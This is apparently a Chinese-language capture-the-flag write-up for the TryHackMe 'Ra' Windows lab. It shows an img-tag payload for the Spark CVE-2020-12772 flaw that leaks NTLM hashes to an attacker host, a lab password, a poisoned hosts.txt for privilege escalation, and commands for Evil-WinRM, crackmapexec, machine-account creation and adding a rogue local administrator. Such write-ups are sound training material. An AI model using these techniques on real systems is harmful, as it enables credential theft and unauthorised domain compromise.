您已经可以访问 WindCorp 的内部网络,这家价值数十亿美元的公司正在运行广泛的社交媒体活动,声称无法破解(哈!这个说法就这么多了!
下一步是拿起他们的皇冠上的明珠,获得对他们内部网络的完全访问权限。您已经发现了一台新的 Windows 机器,它可能会引导您实现最终目标。你能征服这个最终 Boss 并拥有他们的内部网络吗?
祝您黑客活动愉快!
靶场概述
难度:
描述:hard
基本信息
🚀 | 本地机器信息 | 目标机器信息 |
---|---|---|
IP | 10.17.5.121 | 10.10.237.226 |
OS | kali | windwos |
信息搜集
1 | organicfish718@fire.windcorp.thm |
或许可以解决重置密码的密保
Lily Levesque
AndSparky
lilyleAndSparky.jpg
通过一些信息获取到了lilyle 的密码
1 | lilyle |
有个注意点 观察到443端口也是开放的
使用https访问主域名
此路暂时不通缺少凭证
攻击向量
漏洞利用
Spark 2.8.3 的安装文件也很多,根据快速的谷歌搜索,我们发现 Spark 2.8.3 是易受攻击的。我将从 smb 共享中获取 .deb 文件。
在阅读 时,我发现了这个 github 存储库,它实际上是由这台机器的制造商创建的。据此,我们可以使用 spark 向其他用户发送带有 img 标签的消息,每次用户点击链接,或者 ROAR 模块自动预加载时,外部服务器都会收到访问链接的用户(即您正在聊天的用户)对图像的请求,以及 NTLM 哈希值!
如 github 存储库中所述,我们将使用并发送带有 img 标签的消息,并且我们应该会收到访问该链接的用户的 NTLM 哈希值。CVE-2020-12772``responder
我们有一个用户名列表,我们可以将我们的有效负载 发送给不同的用户,如果我们获得其中任何一个的 NTLM 哈希值,请在响应者中签入。
1 | “<img src=http://yourtun0IP/a.png>” |
1 | [+] Listening for events... |
1 | ┌──(sid㉿kali)-[~/Documents/flags/tryhackme/ra] |
利用crackmapexec
凭据验证
crackmapexec 中 Pwn3d!对于 WinRM,这意味着我们可以使用 Evil-WinRM 来进入盒子。
提权
首先,我们检查 buse 用户属于哪些组,以及我们是否有任何特殊权限。
我们看到我们是 Account Operators 组的一部分,这意味着我们可以修改除 admin 帐户之外的所有帐户。然后在检查不同的目录时,我们找到一个 scripts 目录,其中包含一个 checkservers.ps1 powershell 脚本,它告诉我们“C:\Users\brittanycr\hosts.txt”正在自动运行/使用。终会读取每一行并通过Invoke-Expression执行
由于我们是 Account Operators 组的一部分,因此让我们重置帐户 “brittanycr” 的密码
看来我们不能把 psexec 或 winrm 作为 brittanycr 放进盒子里。让我们使用 smbclient 来放置我们的恶意hosts.txt文件。
1 | ┌──(sid㉿kali)-[~/Documents/flags/tryhackme/ra] |
知识点
1. 检查 WinRM 服务是否启用
使用工具如 CrackMapExec 或 Nmap 来检测目标系统是否开启 WinRM 服务。
1.1 使用 CrackMapExec
bash
复制代码
crackmapexec winrm <target-ip> -u <username> -p <password>
- 如果输出中显示 **
[+]
**,说明凭据有效且 WinRM 可用。 - 如果显示 **
[-]
**,可能是凭据无效或服务未启用。
1.2 使用 Nmap
扫描端口 5985(HTTP)和 5986(HTTPS),它们是 WinRM 默认使用的端口:
bash
复制代码
nmap -p 5985,5986 <target-ip>
- 如果显示端口开放,说明 WinRM 可能正在运行。
2. 验证 WinRM 服务的响应
使用工具如 Evil-WinRM、CrackMapExec 或 Python 脚本来验证服务和凭据。
2.1 使用 Evil-WinRM
安装 Evil-WinRM:
bash
复制代码
sudo gem install evil-winrm
验证目标:
bash
复制代码
evil-winrm -i <target-ip> -u <username> -p <password>
- 成功连接后,你将进入目标系统的交互式 PowerShell 环境。
- 如果失败,检查服务是否正常运行或凭据是否有效。
2.2 使用 CrackMapExec
bash
复制代码
crackmapexec winrm <target-ip> -u <username> -p <password>
- 显示
Pwn3d!
表示凭据有效并且具有管理员权限
2. CrackMapExec
的作用
用户凭据验证
- 检查目标网络中某个用户凭据是否有效。
- 支持多种身份验证方式(明文密码、哈希、Kerberos票据等)。
共享文件和目录枚举
- 枚举共享资源。
- 下载或上传文件到目标系统的共享目录。
命令执行
- 在目标机器上远程执行命令(需要管理员权限)。
- 支持多种协议如 WinRM、SMB。
凭据提取
- 使用 Mimikatz 从目标提取用户凭据或哈希值。
Active Directory 集成
- 枚举域用户、域组和域计算机信息。
- 针对 Active Directory 的攻击(如 Kerberos 金票/银票、DC Sync 攻击等)。
自动化攻击
- 支持自动化 lateral movement(横向移动)。
- 支持多目标批量操作。
分析whoami
通过 whoami /all
的输出,我们可以提取和分析与用户权限、组成员身份以及特权相关的信息,以判断用户在目标系统上的能力以及潜在的攻击面。以下是详细的分析:
1. 用户信息
- 用户名:
windcorp\buse
- 表示用户
buse
在域windcorp
中。
- 表示用户
- SID:
S-1-5-21-555431066-3599073733-176599750-5777
- 安全标识符,唯一标识该用户。
- SID 的结构表明此用户是域用户,而非本地用户。
2. 组信息
用户属于多个组,其中一些组提供了有用的信息:
关键组分析
BUILTIN\Account Operators
- 高权限组:此组的成员通常有能力管理账户,包括创建或修改用户账户。
- 潜在利用点:可以检查是否能创建一个高权限用户(如域管理员)。
BUILTIN\Remote Desktop Users
- 用户属于远程桌面组,说明此用户可以通过 RDP 访问目标系统。
- 潜在利用点:尝试使用 RDP 连接并获取更高权限的访问。
BUILTIN\Remote Management Users
- 此组成员默认可以通过 WinRM 远程访问系统。
- 已验证:通过 Evil-WinRM 成功登录确认。
WINDCORP\IT
- 自定义组,可能赋予 IT 相关权限。
- 潜在利用点:查询此组的特权,判断是否有管理功能。
3. 权限信息
用户当前拥有以下权限:
关键权限分析
SeMachineAccountPrivilege
- 描述: 允许用户将工作站加入域。
- 潜在利用点:
- 可以滥用此权限在域中创建计算机对象。
- 借助工具(如 PowerMad 或 AD Module)创建恶意机器账户,并使用相关的 SPN 进一步执行 Kerberos 票据攻击(如 Kerberoasting)。
SeChangeNotifyPrivilege
- 描述: 允许用户绕过文件和目录的遍历检查。
- 攻击意义: 这是普通权限,对攻击意义不大。
SeIncreaseWorkingSetPrivilege
- 描述: 允许用户调整进程的工作集大小。
- 攻击意义: 通常与内存管理有关,对攻击用途有限。
4. 动态访问控制
Kerberos support for Dynamic Access Control on this device has been disabled.
- 描述: 目标设备不支持基于动态访问控制(DAC)的 Kerberos 身份验证。
- 攻击意义: 这不会直接影响你的渗透,但表明目标系统的安全配置可能较老。
5. 攻击面与利用建议
根据当前信息,你可以尝试以下攻击:
利用现有特权
机器账户攻击
滥用
SeMachineAccountPrivilege
创建一个恶意的计算机对象。示例命令(使用 PowerMad 模块):
powershell
复制代码
Import-Module PowerMad New-MachineAccount -MachineAccount EvilMachine -Password $(ConvertTo-SecureString 'P@ssw0rd123!' -AsPlainText -Force)
然后使用 Kerberos 票据进一步攻击(如 Golden/Silver Ticket)。
RDP 登录
用户属于
Remote Desktop Users
,尝试使用 RDP 登录目标系统以获得 GUI 访问。RDP 工具:
bash
复制代码
xfreerdp /u:buse /p:'uzunLM+3131' /v:<target-ip>
探索更高权限
账户操作
利用
Account Operators
权限,尝试创建新账户或修改现有账户。创建本地管理员账户的 PowerShell 示例:
powershell
复制代码
net user admin2 Password123! /add net localgroup administrators admin2 /add
枚举域信息
使用 PowerShell 或 CrackMapExec 枚举域中的用户、组和计算机:
bash
复制代码
crackmapexec smb <target-ip> -u buse -p 'uzunLM+3131' --shares crackmapexec ldap <target-ip> -u buse -p 'uzunLM+3131' --users
尝试 Kerberoasting
- 如果域中存在带有 SPN 的服务账户,尝试执行 Kerberoasting 攻击,提取可破解的 Kerberos 票据。
总结
- 当前用户具有一定权限,但并非管理员。
- 可以尝试滥用
SeMachineAccountPrivilege
和Account Operators
权限提升攻击范围。 - 使用 Evil-WinRM 和 CrackMapExec 进一步枚举目标系统和域的详细信息。